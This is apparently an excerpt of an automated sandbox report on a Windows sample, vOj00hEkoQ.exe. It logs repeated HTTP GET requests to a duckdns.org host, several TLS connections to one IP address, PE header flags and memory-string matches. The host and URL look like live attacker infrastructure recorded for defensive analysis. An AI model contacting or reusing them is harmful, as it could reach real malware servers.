Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org

Source: unknown	HTTPS traffic detected: 208.67.105.81:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.67.105.81:443 -> 192.168.2.6:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.67.105.81:443 -> 192.168.2.6:49945 version: TLS 1.2

Source: vOj00hEkoQ.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: vOj00hEkoQ.exe	Binary or memory string: OriginalFilename vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.409891925.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.448677572.0000000004F86000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.400527616.0000000004780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.399459326.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.378316634.0000000004686000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.492078319.000000000583C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.373258342.000000000540C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.511111350.0000000005838000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.496618464.0000000005828000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.447679692.0000000005554000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.562147869.00000000007E1000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.538463758.00000000007A1000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.560338618.00000000007E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.423477581.0000000005280000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.387394358.00000000047D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.419258622.0000000005854000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.382686549.00000000047EA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.421615234.0000000005864000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.459364828.000000000497A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.423836069.0000000005934000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.494127353.0000000000720000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
Source: vOj00hEkoQ.exe, 00000000.00000003.462334431.0000000005562000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs vOj00hEkoQ.exe
